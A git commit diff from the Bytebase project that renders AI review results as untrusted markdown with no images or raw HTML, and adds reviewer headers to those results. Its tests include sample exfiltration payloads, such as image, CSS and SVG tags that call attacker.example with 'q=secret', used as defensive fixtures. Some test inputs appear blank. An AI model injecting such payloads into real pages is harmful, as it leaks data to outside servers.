Database governance built for humans and agents — controlling changes and access across every major database.
Go cicddata-governancedata-maskingdata-securitydatabase-accessdatabase-governancedevopsdevsecopsflywaygitopsliquibasemongodbmysqloraclepostgresqlschema-migrationssecuritysql-clientsqlservertidb
feat(review): show a review result as its reviewer (#21605)
h3n4l53c6d75f8837
diff --git a/frontend/index.html b/frontend/index.htmlindex 6dc887c722..fb43c98bd6 100644--- a/frontend/index.html+++ b/frontend/index.html@@ -7,6 +7,9 @@<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="0" />+ <!-- Links in untrusted text, such as review results, must not resolve+ their hosts before a click: a hostname can carry that text. -->+ <meta http-equiv="x-dns-prefetch-control" content="off" /><title>Bytebase</title><meta name="color-scheme" content="light only" /></head>diff --git a/frontend/src/components/MarkdownEditor/MarkdownEditor.test.tsx b/frontend/src/components/MarkdownEditor/MarkdownEditor.test.tsxindex ca737b44b0..bfbdca117c 100644--- a/frontend/src/components/MarkdownEditor/MarkdownEditor.test.tsx+++ b/frontend/src/components/MarkdownEditor/MarkdownEditor.test.tsx@@ -106,6 +106,131 @@ describe("MarkdownEditor", () => {unmount();});++ test("renders untrusted images and raw HTML without resource-loading elements or attributes", () => {+ const { container, render, unmount } = renderIntoContainer(+ <MarkdownEditor+ content={[+ "",+ "![reference][logo]",+ "[logo]: https://attacker.example/reference.png",+ '<img src="https://attacker.example/raw.png">',+ '<picture><source srcset="https://attacker.example/s.png"></picture>',+ '<svg><image href="https://attacker.example/svg.png"></image></svg>',+ '<video poster="https://attacker.example/poster.png"></video>',+ '<table background="https://attacker.example/table.png"><tr><td>t</td></tr></table>',+ '<p style="background:url(https://attacker.example/bg.png)">styled</p>',+ '<style>@import "https://attacker.example/x.css";</style>',+ "<img src=https://attacker.example/entity.png>",+ "| a |\n|:-:|\n| b |",+ "```sql\nSELECT 1;\n```",+ ].join("\n\n")}+ mode="preview"+ untrusted+ />+ );+ render();++ expect(+ container.querySelector(+ "img, picture, source, svg, image, video, audio, iframe, object, embed, link, style, [src], [srcset], [poster], [background], [style]"+ )+ ).toBeNull();+ expect(container.querySelector("[class]:not(.markdown-body)")).toBeNull();+ const imageLinks = Array.from(container.querySelectorAll("a"))+ .filter((link) => ["inline", "reference"].includes(link.textContent ?? ""))+ .map((link) => [link.textContent, link.getAttribute("href"), link.getAttribute("target")]);+ expect(imageLinks).toEqual([+ ["inline", "https://attacker.example/inline.png?q=secret", "_blank"],+ ["reference", "https://attacker.example/reference.png", "_blank"],+ ]);+ expect(container.textContent).not.toContain("!inline");+ expect(container.textContent).toContain(+ '<img src="https://attacker.example/raw.png">'+ );+ expect(container.querySelector("td")?.textContent).toBe("b");+ expect(container.querySelector("pre code")?.textContent).toBe("SELECT 1;\n");+ unmount();+ });++ test("labels an untrusted image link with its alt text, entities and code spans included, or else its source", () => {+ const { container, render, unmount } = renderIntoContainer(+ <MarkdownEditor+ content={[+ "",+ "",+ "",+ "[](https://example.com/ci)",+ ].join("\n\n")}+ mode="preview"+ untrusted+ />+ );+ render();++ const links = Array.from(container.querySelectorAll("a")).map((link) => [+ link.textContent,+ link.getAttribute("href"),+ ]);+ expect(links).toEqual([+ ["R&D *draft*", "https://attacker.example/a.png"],+ ["build log", "https://attacker.example/b.png"],+ ["https://attacker.example/c.png", "https://attacker.example/c.png"],+ ["https://attacker.example/d.png", "https://example.com/ci"],+ ]);+ unmount();+ });++ test("keeps only the alt text of an untrusted image inside a link", () => {+ const { container, render, unmount } = renderIntoContainer(+ <MarkdownEditor+ content="[](https://example.com/ci)"+ mode="preview"+ untrusted+ />+ );+ render();++ const links = Array.from(container.querySelectorAll("a")).map((link) => [+ link.textContent,+ link.getAttribute("href"),+ ]);+ expect(links).toEqual([["build badge", "https://example.com/ci"]]);+ unmount();+ });++ test("keeps images and HTML in ordinary text", () => {+ const { container, render, unmount } = renderIntoContainer(+ <MarkdownEditor+ content={"\n\n<details>more</details>"}+ mode="preview"+ />+ );+ render();++ expect(container.querySelector("img")?.getAttribute("src")).toBe(+ "https://example.com/chart.png"+ );+ expect(container.querySelector("details")).not.toBeNull();+ unmount();+ });++ test("renders an untrusted draft's preview tab without images", () => {+ const { container, render, unmount } = renderIntoContainer(+ <MarkdownEditor+ content=""+ onChange={vi.fn()}+ untrusted+ />+ );+ render();+ const tabs = container.querySelectorAll<HTMLButtonElement>('[role="tab"]');+ act(() => tabs[1].click());++ expect(container.querySelector('[role="tabpanel"] a')).not.toBeNull();+ expect(container.querySelector("img")).toBeNull();+ unmount();+ });});diff --git a/frontend/src/components/MarkdownEditor/MarkdownEditor.tsx b/frontend/src/components/MarkdownEditor/MarkdownEditor.tsxindex 11429f1262..7871367fe7 100644--- a/frontend/src/components/MarkdownEditor/MarkdownEditor.tsx+++ b/frontend/src/components/MarkdownEditor/MarkdownEditor.tsx@@ -1,6 +1,7 @@import DOMPurify from "dompurify";import { Bold, Code2, Hash, Heading1, Link2 } from "lucide-react";import MarkdownIt from "markdown-it";+import type Token from "markdown-it/lib/token.mjs";import { type ReactNode, useEffect, useMemo, useRef, useState } from "react";import { useTranslation } from "react-i18next";import { Button } from "@/components/ui/button";@@ -14,6 +15,89 @@ const markdown = new MarkdownIt({linkify: true,});+// Displaying untrusted text must not request a remote URL: an image URL+// derived from SQL or schema text would carry that text to another server+// when someone merely opens the page. So it renders no raw HTML, and an image+// becomes a link to its source, labeled with its alt text or else the source,+// that the reader may choose to follow. Without a source, or inside a link+// where anchors cannot nest, the label stays plain text. The page turns DNS+// prefetching off in index.html, so no link resolves its host until clicked.+const untrustedMarkdown = new MarkdownIt({+ html: false,+ linkify: true,+});+untrustedMarkdown.renderer.rules.image = (tokens, idx) => {+ const { escapeHtml } = untrustedMarkdown.utils;+ const src = tokens[idx].attrGet("src") ?? "";+ const alt = labelText(tokens[idx].children ?? []);+ const linkDepth = tokens+ .slice(0, idx)+ .reduce(+ (depth, token) =>+ depth ++ (token.type === "link_open" ? 1 : token.type === "link_close" ? -1 : 0),+ 0+ );+ const label = escapeHtml(alt || src);+ if (!src || linkDepth > 0) return label;+ return `<a href="${escapeHtml(src)}">${label}</a>`;+};++// An image label as plain text. Unlike renderInlineAsText, it keeps code+// spans and the decoded entities and escapes that a label's tokens carry.+function labelText(tokens: Token[]): string {+ return tokens+ .map((token) => {+ switch (token.type) {+ case "text":+ case "text_special":+ case "code_inline":+ return token.content;+ case "image":+ return labelText(token.children ?? []);+ case "softbreak":+ case "hardbreak":+ return " ";+ default:+ return "";+ }+ })+ .join("");+}++// Every tag and attribute untrustedMarkdown emits, minus code-language+// classes and table alignment styles, so the sanitizer holds the same line.+const UNTRUSTED_SANITIZE_CONFIG = {+ ALLOWED_TAGS: [+ "a",+ "blockquote",+ "br",+ "code",+ "em",+ "h1",+ "h2",+ "h3",+ "h4",+ "h5",+ "h6",+ "hr",+ "li",+ "ol",+ "p",+ "pre",+ "s",+ "strong",+ "table",+ "tbody",+ "td",+ "th",+ "thead",+ "tr",+ "ul",+ ],+ ALLOWED_ATTR: ["href", "start", "title"],+};+const editorBoxClassName ="w-full rounded-xs border border-control-border bg-transparent px-3 py-2 text-sm";@@ -26,6 +110,11 @@ type CommonProps = {maxLength?: number;transform?: (raw: string) => string;maxHeight?: number;+ /**+ * The text is not a workspace member's own writing, such as a review+ * result. It renders without raw HTML or images.+ */+ untrusted?: boolean;};type EditorProps = CommonProps & {@@ -53,6 +142,7 @@ export function MarkdownEditor({mode = "editor",transform,maxHeight,+ untrusted = false,}: Props) {const { t } = useTranslation();const boxClassName = cn(@@ -68,9 +158,9 @@ export function MarkdownEditor({return "";}const source = transform ? transform(content) : content;- const rendered = markdown.render(source);- return sanitizePreviewHtml(rendered);- }, [content, transform]);+ const rendered = (untrusted ? untrustedMarkdown : markdown).render(source);+ return sanitizePreviewHtml(rendered, untrusted);+ }, [content, transform, untrusted]);useEffect(() => {setTab(mode === "preview" ? "preview" : "write");@@ -237,8 +327,10 @@ export function MarkdownEditor({);}-function sanitizePreviewHtml(html: string) {- const sanitized = DOMPurify.sanitize(html);+function sanitizePreviewHtml(html: string, untrusted: boolean) {+ const sanitized = untrusted+ ? DOMPurify.sanitize(html, UNTRUSTED_SANITIZE_CONFIG)+ : DOMPurify.sanitize(html);const template = document.createElement("template");template.innerHTML = sanitized;for (const link of template.content.querySelectorAll("a")) {diff --git a/frontend/src/locales/en-US.json b/frontend/src/locales/en-US.jsonindex 2b60c0b936..839c4de9e2 100644--- a/frontend/src/locales/en-US.json+++ b/frontend/src/locales/en-US.json@@ -1871,11 +1871,17 @@"unavailable-change": "Deleted change","view-in-statement": "View in Statement"},+ "applies-to": "Applies to","comment-on-lines": "Comment on lines","n-replies-hidden_one": "{{count}} reply hidden","n-replies-hidden_other": "{{count}} replies hidden","n-replies_one": "{{count}} reply","n-replies_other": "{{count}} replies",+ "priority": {+ "p0": "The SQL is wrong and must change.",+ "p1": "Dangerous but legitimate. A person must accept it.",+ "p2": "Advisory only."+ },"publish": "Publish","reopen-thread": "Reopen thread","reply": "Reply",diff --git a/frontend/src/locales/es-ES.json b/frontend/src/locales/es-ES.jsonindex 27a70cdb8f..a161669edd 100644--- a/frontend/src/locales/es-ES.json+++ b/frontend/src/locales/es-ES.json@@ -1871,11 +1871,17 @@"unavailable-change": "Cambio eliminado","view-in-statement": "Ver en la sentencia"},+ "applies-to": "Se aplica a","comment-on-lines": "Comentar las líneas","n-replies-hidden_one": "{{count}} respuesta oculta","n-replies-hidden_other": "{{count}} respuestas ocultas","n-replies_one": "{{count}} respuesta","n-replies_other": "{{count}} respuestas",+ "priority": {+ "p0": "El SQL es incorrecto y debe cambiar.",+ "p1": "Peligroso pero legítimo. Una persona debe aceptarlo.",+ "p2": "Solo informativo."+ },"publish": "Publicar","reopen-thread": "Reabrir hilo","reply": "Responder",diff --git a/frontend/src/locales/ja-JP.json b/frontend/src/locales/ja-JP.jsonindex e3c3744c1f..a44bc1b4f8 100644--- a/frontend/src/locales/ja-JP.json+++ b/frontend/src/locales/ja-JP.json@@ -1871,11 +1871,17 @@"unavailable-change": "削除された変更","view-in-statement": "ステートメントで表示"},+ "applies-to": "対象","comment-on-lines": "選択行にコメント","n-replies-hidden_one": "{{count}} 件の返信が非表示","n-replies-hidden_other": "{{count}} 件の返信が非表示","n-replies_one": "{{count}} 件の返信","n-replies_other": "{{count}} 件の返信",+ "priority": {+ "p0": "SQL に誤りがあり、修正が必要です。",+ "p1": "危険ですが正当な変更です。担当者による承認が必要です。",+ "p2": "参考情報です。"+ },"publish": "公開","reopen-thread": "スレッドを再開","reply": "返信",diff --git a/frontend/src/locales/vi-VN.json b/frontend/src/locales/vi-VN.jsonindex e35cae6c73..1ea2843a94 100644--- a/frontend/src/locales/vi-VN.json+++ b/frontend/src/locales/vi-VN.json@@ -1871,11 +1871,17 @@"unavailable-change": "Thay đổi đã xóa","view-in-statement": "Xem trong câu lệnh"},+ "applies-to": "Áp dụng cho","comment-on-lines": "Bình luận các dòng đã chọn","n-replies-hidden_one": "{{count}} phản hồi bị ẩn","n-replies-hidden_other": "{{count}} phản hồi bị ẩn","n-replies_one": "{{count}} phản hồi","n-replies_other": "{{count}} phản hồi",+ "priority": {+ "p0": "SQL sai và phải được sửa.",+ "p1": "Nguy hiểm nhưng hợp lệ. Cần có người chấp nhận.",+ "p2": "Chỉ mang tính tham khảo."+ },"publish": "Đăng","reopen-thread": "Mở lại luồng","reply": "Trả lời",diff --git a/frontend/src/locales/zh-CN.json b/frontend/src/locales/zh-CN.jsonindex 106840bb13..65f107671a 100644--- a/frontend/src/locales/zh-CN.json+++ b/frontend/src/locales/zh-CN.json@@ -1871,11 +1871,17 @@"unavailable-change": "已删除的变更","view-in-statement": "在语句中查看"},+ "applies-to": "适用于","comment-on-lines": "评论所选行","n-replies-hidden_one": "已隐藏 {{count}} 条回复","n-replies-hidden_other": "已隐藏 {{count}} 条回复","n-replies_one": "{{count}} 条回复","n-replies_other": "{{count}} 条回复",+ "priority": {+ "p0": "SQL 有误,必须修改。",+ "p1": "有风险但合理,需要有人确认接受。",+ "p2": "仅供参考。"+ },"publish": "发布","reopen-thread": "重新打开线程","reply": "回复",diff --git a/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.test.tsx b/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.test.tsxnew file mode 100644index 0000000000..daf928868f--- /dev/null+++ b/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.test.tsx@@ -0,0 +1,167 @@+import { create } from "@bufbuild/protobuf";+import { cleanup, render, screen } from "@testing-library/react";+import type { ReactNode } from "react";+import { afterEach, describe, expect, test, vi } from "vitest";+import {+ type IssueComment,+ IssueComment_ReviewMetadata_Priority,+ IssueCommentSchema,+ IssueSchema,+ ReviewRun_Type,+} from "@/types/proto-es/v1/issue_service_pb";++const ISSUE = "projects/p/issues/1";++const mocks = vi.hoisted(() => ({+ comments: [] as IssueComment[],+}));++vi.mock("react-i18next", () => ({+ initReactI18next: { type: "3rdParty", init: () => {} },+ useTranslation: () => ({ t: (key: string) => key }),+}));++vi.mock("@/components/HumanizeTs", async () => ({+ ...(await import("@/test-utils/humanizeTs")).humanizeTsStub(),+}));++vi.mock("@/api", () => ({ issueServiceClientConnect: {} }));++vi.mock("@/app/router", () => ({ useCurrentRoute: () => ({ hash: "" }) }));++vi.mock("@/components/issue-activity/IssueCommentActivity", () => ({+ ActivityRowShell: ({+ body,+ header,+ icon,+ }: {+ body: ReactNode;+ header: ReactNode;+ icon: ReactNode;+ }) => (+ <li data-testid="review-row">+ {icon}+ <div data-testid="row-header">{header}</div>+ {body}+ </li>+ ),+ CommentCreator: () => null,+ CommentIconBadge: ({ icon }: { icon: ReactNode }) => icon,+ canEditIssueComment: () => false,+ IssueCommentRow: ({ body }: { body: ReactNode }) => (+ <li data-testid="comment-row">{body}</li>+ ),+}));++vi.mock("@/components/UserAvatar", () => ({ UserAvatar: () => null }));++vi.mock("@/hooks/useAppState", () => ({+ useCurrentUser: () => ({ email: "[email protected]", title: "Me" }),+}));++vi.mock("@/hooks/usePrincipal", () => ({+ principalLabel: () => "creator",+ usePrincipal: () => undefined,+}));++vi.mock("@/hooks/useProjectByName", () => ({+ useProjectByName: () => undefined,+}));++vi.mock("@/stores", () => ({ pushNotification: vi.fn() }));++vi.mock("@/stores/app", () => {+ const state = {+ batchGetOrFetchUsers: vi.fn(async () => undefined),+ fetchIssueCommentTimeline: vi.fn(async () => undefined),+ getIssueComments: () => mocks.comments,+ projectsByName: {},+ };+ const useAppStore = (selector: (s: typeof state) => unknown) =>+ selector(state);+ useAppStore.getState = () => state;+ return { useAppStore };+});++vi.mock("@/utils/iam/permission", () => ({+ hasProjectPermissionV2: () => false,+}));++vi.mock("../../plan-detail/components/PlanChangeReference", () => ({+ PlanSpecChangeReference: () => null,+}));++vi.mock("../../plan-detail/components/PlanTargetDisplay", () => ({+ PlanTargetDisplay: ({ target }: { target: string }) => <span>{target}</span>,+}));++vi.mock("../../plan-detail/hooks/usePlanChangeReferenceData", () => ({+ usePlanChangeReferenceData: () => ({}),+}));++vi.mock("../context/IssueDetailContext", () => ({+ useIssueDetailContext: () => ({+ issue: create(IssueSchema, { name: ISSUE }),+ patchState: vi.fn(),+ projectId: "p",+ setEditing: vi.fn(),+ }),+}));++import { IssueDetailCommentList } from "./IssueDetailCommentList";++const LEAK = "https://attacker.example/leak.png?q=secret";+const TEXT = `Drop risk\n\n`;++const comment = (name: string, reviewMetadata?: boolean) =>+ create(IssueCommentSchema, {+ name: `${ISSUE}/issueComments/${name}`,+ comment: TEXT,+ reviewMetadata: reviewMetadata+ ? {+ runType: ReviewRun_Type.AI,+ priority: IssueComment_ReviewMetadata_Priority.P1,+ targets: ["instances/i/databases/d"],+ }+ : undefined,+ });++afterEach(() => {+ cleanup();+ mocks.comments = [];+});++describe("IssueDetailCommentList", () => {+ test("renders a review result without loading its images", () => {+ mocks.comments = [comment("result", true)];+ const { container } = render(<IssueDetailCommentList />);++ expect(screen.getByText("Drop risk")).toBeDefined();+ expect(container.querySelector("img")).toBeNull();+ expect(+ container.querySelector(`a[href="${LEAK}"]`)?.textContent+ ).toBe("chart");+ });++ test("heads a review result with its reviewer, priority, and targets", () => {+ mocks.comments = [comment("result", true)];+ render(<IssueDetailCommentList />);++ expect(screen.queryByTestId("comment-row")).toBeNull();+ const header = screen.getByTestId("row-header");+ expect(header.textContent).toContain("sql-review.ai-review.self");+ expect(screen.getByTestId("review-priority").textContent).toBe("P1");+ expect(screen.getByTestId("review-targets").textContent).toContain(+ "instances/i/databases/d"+ );+ });++ test("renders a member's comment with its images, as before", () => {+ mocks.comments = [comment("member")];+ const { container } = render(<IssueDetailCommentList />);++ expect(screen.getByTestId("comment-row")).toBeDefined();+ expect(screen.queryByTestId("review-row")).toBeNull();+ expect(container.querySelector("img")?.getAttribute("src")).toBe(LEAK);+ });+});diff --git a/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.tsx b/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.tsxindex ec37cc30ee..d8e92f7136 100644--- a/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.tsx+++ b/frontend/src/routes/project/issue-detail/components/IssueDetailCommentList.tsx@@ -1,12 +1,20 @@import { create } from "@bufbuild/protobuf";import { Loader2, Pencil, Plus } from "lucide-react";-import { useCallback, useEffect, useMemo, useState } from "react";+import {+ type ReactNode,+ useCallback,+ useEffect,+ useMemo,+ useState,+} from "react";import { useTranslation } from "react-i18next";import { issueServiceClientConnect } from "@/api";import { useCurrentRoute } from "@/app/router";import { HumanizeTs } from "@/components/HumanizeTs";import {+ ActivityRowShell,CommentCreator,+ CommentIconBadge,canEditIssueComment,IssueCommentRow,type PlanChangeReferenceRenderer,@@ -25,12 +33,20 @@ import { projectNamePrefix } from "@/stores/modules/v1/common";import { getTimeForPbTimestampProtoEs } from "@/types";import {type IssueComment,+ type IssueComment_ReviewMetadata,IssueSchema,UpdateIssueRequestSchema,} from "@/types/proto-es/v1/issue_service_pb";+import type { Plan } from "@/types/proto-es/v1/plan_service_pb";import { extractProjectResourceName } from "@/utils";import { hasProjectPermissionV2 } from "@/utils/iam/permission";import { PlanSpecChangeReference } from "../../plan-detail/components/PlanChangeReference";+import {+ ReviewerIcon,+ ReviewPriorityBadge,+ ReviewTargets,+ reviewerName,+} from "../../plan-detail/components/threads/ReviewResult";import { usePlanChangeReferenceData } from "../../plan-detail/hooks/usePlanChangeReferenceData";import { useIssueDetailContext } from "../context/IssueDetailContext";@@ -232,43 +248,55 @@ export function IssueDetailCommentList() {/>{issueComments.map((item, index) => {const isEditing = activeCommentName === item.name;- return (+ const review = item.reviewMetadata;+ const body = item.comment ? (+ <EditableMarkdownContent+ allowSave={allowUpdateComment}+ content={item.comment}+ untrusted={Boolean(review)}+ editContent={editContent}+ isEditing={isEditing}+ onCancel={cancelEditComment}+ onChange={setEditContent}+ onSave={() => {+ void saveEditComment();+ }}+ placeholder={t("issue.no-description-provided")}+ projectName={project?.name}+ />+ ) : null;+ const subjectSuffix =+ allowEditComment(item) && !activeCommentName ? (+ <Button+ className="text-control-light hover:text-control"+ onClick={() => startEditComment(item)}+ size="xs"+ appearance="secondary"+ >+ <Pencil className="h-3.5 w-3.5" />+ </Button>+ ) : null;+ const isLast = index === issueComments.length - 1;+ return review ? (+ <ReviewResultActivityRow+ key={item.name}+ body={body}+ comment={item}+ isLast={isLast}+ plan={page.plan}+ review={review}+ subjectSuffix={subjectSuffix}+ />+ ) : (<IssueCommentRowkey={item.name}- body={- item.comment ? (- <EditableMarkdownContent- allowSave={allowUpdateComment}- content={item.comment}- editContent={editContent}- isEditing={isEditing}- onCancel={cancelEditComment}- onChange={setEditContent}- onSave={() => {- void saveEditComment();- }}- placeholder={t("issue.no-description-provided")}- projectName={project?.name}- />- ) : null- }+ body={body}comment={item}- isLast={index === issueComments.length - 1}+ isLast={isLast}issue={page.issue}plan={page.plan}renderPlanChangeReference={renderPlanChangeReference}- subjectSuffix={- allowEditComment(item) && !activeCommentName ? (- <Button- className="text-control-light hover:text-control"- onClick={() => startEditComment(item)}- size="xs"- appearance="secondary"- >- <Pencil className="h-3.5 w-3.5" />- </Button>- ) : null- }+ subjectSuffix={subjectSuffix}/>);})}@@ -477,6 +505,7 @@ function EditableMarkdownContent({onSave,placeholder,projectName,+ untrusted = false,}: {allowSave: boolean;content: string;@@ -488,6 +517,9 @@ function EditableMarkdownContent({onSave: () => void;placeholder: string;projectName?: string;+ // A review result is a model's or a rule's text, not a member's, so it+ // renders without raw HTML or images.+ untrusted?: boolean;}) {const { t } = useTranslation();const transform = useIssueRefTransform(projectName);@@ -509,6 +541,7 @@ function EditableMarkdownContent({onChange={onChange}onSubmit={onSave}transform={transform}+ untrusted={untrusted}/>{isEditing && (<div className="mt-2 flex items-center justify-end gap-x-2">@@ -524,3 +557,63 @@ function EditableMarkdownContent({</div>);}++// A review result in an activity timeline. It is headed by its reviewer,+// priority, and targets, as on the plan page's thread card, since it has no+// creator to name.+function ReviewResultActivityRow({+ body,+ comment,+ isLast,+ plan,+ review,+ subjectSuffix,+}: {+ body: ReactNode;+ comment: IssueComment;+ isLast: boolean;+ plan: Plan | undefined;+ review: IssueComment_ReviewMetadata;+ subjectSuffix?: ReactNode;+}) {+ const { t } = useTranslation();+ const createdTs = getTimeForPbTimestampProtoEs(comment.createTime);+ const updatedTs = getTimeForPbTimestampProtoEs(comment.updateTime);+ const specId = comment.statementAnchor?.spec;+ const spec = specId+ ? plan?.specs.find((candidate) => candidate.id === specId)+ : undefined;+ return (+ <ActivityRowShell+ body={+ <div className="flex flex-col gap-y-2">+ <ReviewTargets spec={spec} targets={review.targets} />+ {body}+ </div>+ }+ header={+ <>+ <span className="font-medium text-main">+ {reviewerName(t, review.runType)}+ </span>+ <ReviewPriorityBadge priority={review.priority} />+ <HumanizeTs className="text-xs text-control-light" tsMs={createdTs} />+ {createdTs !== updatedTs && (+ <span className="text-control-light text-xs">+ ({t("common.edited")})+ </span>+ )}+ </>+ }+ icon={+ <CommentIconBadge+ className="bg-control-bg text-control"+ icon={<ReviewerIcon className="size-4" runType={review.runType} />}+ />+ }+ id={comment.name}+ isLast={isLast}+ subjectSuffix={subjectSuffix}+ />+ );+}diff --git a/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.test.tsx b/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.test.tsxindex edd56aa04f..7cf3690421 100644--- a/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.test.tsx+++ b/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.test.tsx@@ -136,14 +136,17 @@ vi.mock("../../shared/stores/usePlanDetailStore", () => ({vi.mock("../threads/CommentThreadCard", () => ({CommentThreadCard: ({renderContext,+ spec,thread,}: {renderContext?: (onCollapse?: () => void) => ReactNode;+ spec?: { id: string };thread: { root: { name: string }; replies: { name: string }[] };}) => (<divdata-replies={thread.replies.length}data-root={thread.root.name}+ data-spec={spec?.id}data-testid="thread-card">{renderContext?.()}@@ -285,6 +288,40 @@ describe("ReviewActivityTimeline", () => {act(() => root.unmount());});+ test("hands a thread card the plan spec its anchor names, and none for a spec the plan lacks", () => {+ const plan = create(PlanSchema, {+ name: "projects/p1/plans/1",+ specs: [create(Plan_SpecSchema, { id: "spec-1" })],+ });+ const thread = (id: string, spec: string) =>+ create(IssueCommentSchema, {+ name: `projects/p1/issues/1/issueComments/${id}`,+ comment: "Review this line",+ threadState: IssueComment_ThreadState.OPEN,+ statementAnchor: create(StatementAnchorSchema, { spec }),+ });+ const container = document.createElement("div");+ const root = createRoot(container);+ act(() => {+ root.render(+ <ReviewActivityTimeline+ comments={[thread("kept", "spec-1"), thread("gone", "spec-gone")]}+ issue={create(IssueSchema, { name: "projects/p1/issues/1" })}+ plan={plan}+ />+ );+ });+ const cardOf = (id: string) =>+ container.querySelector(+ `[data-root='projects/p1/issues/1/issueComments/${id}']`+ );+ expect(cardOf("kept")).not.toBeNull();+ expect(cardOf("gone")).not.toBeNull();+ expect(cardOf("kept")?.getAttribute("data-spec")).toBe("spec-1");+ expect(cardOf("gone")?.hasAttribute("data-spec")).toBe(false);+ act(() => root.unmount());+ });+test("times an activity entry in the work-queue form", () => {// A feed is read for what just happened, so its entries age with the// clock rather than naming a date.diff --git a/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.tsx b/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.tsxindex 93c02dd880..80e2bd648b 100644--- a/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.tsx+++ b/frontend/src/routes/project/plan-detail/components/review/ReviewActivityTimeline.tsx@@ -495,13 +495,11 @@ function ThreadActivityRow({const storeApi = usePlanDetailStoreApi();const selectedSpecId = usePlanDetailStore((s) => s.selectedSpecId);const anchor = thread.root.statementAnchor;- const targetSha256 = useMemo(- () =>- targetSha256OfSpec(- plan.specs.find((candidate) => candidate.id === anchor?.spec)- ),+ const spec = useMemo(+ () => plan.specs.find((candidate) => candidate.id === anchor?.spec),[anchor?.spec, plan.specs]);+ const targetSha256 = useMemo(() => targetSha256OfSpec(spec), [spec]);const placement = usePlanDetailStore((s) =>anchor? placementOf(s, thread.root.name, anchor.spec, targetSha256)@@ -564,6 +562,7 @@ function ThreadActivityRow({}issue={issue}project={project}+ spec={spec}thread={thread}/></ActivityRowFrame>diff --git a/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.test.tsx b/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.test.tsxindex 46f41ad405..9334eb9475 100644--- a/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.test.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.test.tsx@@ -6,9 +6,12 @@ import { MonacoViewZoneRevealContext } from "@/components/monaco/MonacoViewZone"import { afterEach, beforeEach, describe, expect, test, vi } from "vitest";import { shownTimestampInstants } from "@/test-utils/humanizeTs";import {+ IssueComment_ReviewMetadata_Priority,+ IssueComment_ReviewMetadataSchema,IssueComment_ThreadState,IssueCommentSchema,IssueSchema,+ ReviewRun_Type,} from "@/types/proto-es/v1/issue_service_pb";import type { Project } from "@/types/proto-es/v1/project_service_pb";@@ -69,11 +72,14 @@ vi.mock("@/components/MarkdownEditor", () => ({vi.mock("@/hooks/useAppState", () => ({useCurrentUser: () => ({ email: "[email protected]", title: "Me" }),- useUserByIdentifier: (principal: string) => ({- name: principal,- email: principal.replace(/^users\//, ""),- title: principal.replace(/^users\//, "").split("@")[0],- }),+ useUserByIdentifier: (principal: string | undefined) =>+ principal+ ? {+ name: principal,+ email: principal.replace(/^users\//, ""),+ title: principal.replace(/^users\//, "").split("@")[0],+ }+ : undefined,}));vi.mock("@/stores", () => ({@@ -293,6 +299,28 @@ describe("CommentThreadCard", () => {expect(buttonByText("plan.review.thread.resolve")).toBeUndefined();});+ test("a resolved review result summarizes as its reviewer", () => {+ const root = comment("root", "Missing WHERE clause.", {+ creator: "",+ resolved: true,+ });+ root.reviewMetadata = create(IssueComment_ReviewMetadataSchema, {+ runType: ReviewRun_Type.AI,+ priority: IssueComment_ReviewMetadata_Priority.P1,+ });+ render(+ <CommentThreadCard+ issue={issue}+ project={project}+ thread={groupThreads([root])[0]}+ />+ );+ const summary = buttonByText("plan.review.thread.resolved");+ expect(summary?.textContent).toContain("sql-review.ai-review.self");+ expect(summary?.querySelector("[data-testid='review-priority']")?.textContent).toBe("P1");+ expect(summary?.textContent).not.toContain("common.unknown");+ });+test("a resolved anchored thread collapses from its context header", () => {const [thread] = groupThreads([comment("root", "Root", { resolved: true })]);render(diff --git a/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.tsx b/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.tsxindex f9d6054d80..ae73174dcc 100644--- a/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/CommentThreadCard.tsx@@ -25,12 +25,14 @@ import { UserAvatar } from "@/components/UserAvatar";import { Badge } from "@/components/ui/badge";import { Button } from "@/components/ui/button";import { Checkbox } from "@/components/ui/checkbox";-import { useCurrentUser, useUserByIdentifier } from "@/hooks/useAppState";+import { useCurrentUser } from "@/hooks/useAppState";import { cn } from "@/lib/utils";-import { getTimeForPbTimestampProtoEs, unknownUser } from "@/types";+import { getTimeForPbTimestampProtoEs } from "@/types";import type { Issue } from "@/types/proto-es/v1/issue_service_pb";+import type { Plan_Spec } from "@/types/proto-es/v1/plan_service_pb";import type { Project } from "@/types/proto-es/v1/project_service_pb";import "./CommentThreadCard.css";+import { ReviewPriorityBadge, useCommentAuthor } from "./ReviewResult";import { ThreadComment } from "./ThreadComment";import type { CommentThread } from "./threadModel";import {@@ -59,6 +61,7 @@ export function CommentThreadCard({replyDraft: savedReplyDraft,onReplyDraftChange,project,+ spec,thread,}: {className?: string;@@ -76,6 +79,8 @@ export function CommentThreadCard({replyDraft?: string;onReplyDraftChange?: (draft: SetStateAction<string>) => void;project: Project | undefined;+ // The plan spec the thread sits on, when the owner knows it.+ spec?: Plan_Spec;thread: CommentThread;}) {const { t } = useTranslation();@@ -248,6 +253,7 @@ export function CommentThreadCard({comment={thread.root}onEdit={actions.edit}project={project}+ spec={spec}status={<>{label}@@ -404,9 +410,8 @@ function ThreadSummary({onExpand: () => void;}) {const { t } = useTranslation();- const creator =- useUserByIdentifier(thread.root.creator) ??- unknownUser(thread.root.creator);+ const author = useCommentAuthor(thread.root);+ const review = thread.root.reviewMetadata;const summary = thread.root.comment.split("\n")[0] ?? "";return (<Button@@ -415,14 